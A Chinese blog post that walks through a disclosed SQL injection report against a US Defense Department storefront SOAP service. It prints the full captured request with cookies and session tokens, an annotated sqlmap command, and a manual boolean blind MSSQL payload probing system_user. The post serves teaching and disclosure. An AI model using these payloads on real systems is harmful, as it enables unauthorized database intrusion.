美国国防部注入漏洞报告

这里是一个比较有意思的注入漏洞,是一个搜索框的注入漏洞,也是我们平时测试中可能会忽略的一点。
在这里插入图片描述

这里可以看到,一个基本寻找测试点的流程,这里作者针对了一个输入框进行测试,下面是完整的数据包

> POST /DSF/webservices/StorefrontService.asmx HTTP/1.1 Host: ████████
> Cookie: ASP.NET_SessionId=1phpamlj3ghg13yranwpwyc4;
> LASTSITEACTIVITY=17b9c74a-f80b-4e48-b274-729acb2e14ad;
> _____SITEGUID=17b9c74a-f80b-4e48-b274-729acb2e14ad; BIGipServerdso_dla_pool=!bMk2BVeAkzRdd6t/+hAGiDi1KgdSoi+88iAAs7+CvOtONGAdcnAhOqOuh++pi3IS36YNq+YVfr5l8HI=;
> TS01a7bc09=01a9fe659b2979abff2645807c9ce81ffbeeeeaafa33f9038d5a1c59dd219a29ce68fa7d4edb9afe6bb9488ceb9c8dd10214f84f28;
> DSFPartnerID=yaY5gqbGhOY=;
> TS2f53739b027=085749d0e4ab200041fc059864d60f7079a5bba1c971a9b0ec2c518a8be95c59408233620a4046e908a71691ce11300072991b95acde4750057dcf4b690fc5d287bd05e77fb374c2ef003c7fa6de858098c8aded9cd3dbae4fb2b4cb23fae3f4
> Content-Length: 945 Sec-Ch-Ua: "Not.A/Brand";v="8",
> "Chromium";v="114", "Google Chrome";v="114" Accept: application/xml
> Content-Type: application/json;charset=UTF-8 Sec-Ch-Ua-Mobile: ?0
> Soapaction:
> http://www.efi.com/dsf/StorefrontService/GetAllFacilitiesForNewUserRegistration
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
> AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
> Sec-Ch-Ua-Platform: "Windows" Origin: https://███ Sec-Fetch-Site:
> same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer:
> https://█████/DSF/SmartStore.aspx?6xni2of2cF01Wh1WA1f8KvqWdFIzCmht0+f1rjakhLYZYEorRbI5CMSxx2CBgN1b
> Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
> Connection: close
> 
> <soapenv:Envelope
> xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'
> xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' >     
> <soapenv:Header>     <AuthenticationHeader
> xmlns='http://www.efi.com/dsf/BuyerTicketClientServices'>     
> <SiteGUID>17b9c74a-f80b-4e48-b274-729acb2e14ad</SiteGUID>
> <SessionTokenID>49f22361-1243-4cde-9788-7bad2eb575ed</SessionTokenID>
> <TimeOut>20</TimeOut> <CultureName>zh-CN</CultureName>
> 
> </AuthenticationHeader>      </soapenv:Header>     <soapenv:Body>     
> <GetAllFacilitiesForNewUserRegistration
> xmlns='http://www.efi.com/dsf/StorefrontService'>     
> <companyId>-1</companyId> <cultureName>zh-CN</cultureName>
> <sortColumn>description</sortColumn> <sortOrder>asc</sortOrder>
> <searchValue>*</searchValue> <currentPageIndex>1</currentPageIndex>
> <recordsToFetch>10</recordsToFetch> 
> </GetAllFacilitiesForNewUserRegistration>   
> </soapenv:Body></soapenv:Envelope>

上面的数据包,这里就可以学会一个小技巧,我们想测试搜索框中的数据包,可以将html代码放到数据包的下面进行传递,这里我们需要测试的点在<searchValue>标签中间

可以看到这里中间加了*号,方便sqlmap进行测试

sqlmap.py -r 11.txt --random-agent --batch --technique=b --dbms=mssql --force-ssl --level 3 --skip-urlencode

这里是使用的sqlmap的语句,这里面我们也可以学习一下一些简单的用法
首先txt文件就是上面的数据包了
然后random-agent就是随机数据头
batch是选择默认的选项
–technique是选择注入的方式,b是布尔盲注
然后dbms是选择数据库类型,这里是mssql
–force-ssl是强制使用https模式访问
level就是测试等级了
最后一个–skip-urlebcode,这里我理解的是禁止sqlmap进行url编码,下面的是gpt的一些解释
sqlmap 可能会尝试对请求中的数据进行 URL 编码的检测和处理,以确保测试的准确性。然而,使用 --skip-urlencode 选项可以禁止 sqlmap 对请求数据进行自动的 URL 编码处理。

手工测试:

<searchValue>1'  and substring(system_user,1,16)='public\dsfwsuser' and '%'='</searchValue>

这里可以学习到一些经验
and substring(system_user,1,16)=‘public\dsfwsuser’: 这是注入的主要部分。它试图通过 substring 函数检查 system_user 的子字符串是否与给定的字符串 ‘public\dsfwsuser’ 相匹配。这可能是为了尝试确定当前用户是否是 public\dsfwsuser,以便进行后续的攻击步骤。

and ‘%’=‘: 这是为了构建一个始终为真的条件,以确保原始查询不会受到影响。在这里,’%‘=’ 代表一个始终为真的条件,因为百分号 ‘%’ 总是等于它自己。这样做是为了保持原始查询的逻辑正确性,同时添加额外的条件来执行攻击者想要的行为。
这个漏洞报告到这里就结束了,其实重要的一个是测试功能点的思路,还有一个就是sqlmap自动化测试的一个使用经验,希望大家可以学到。
在这里插入图片描述

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值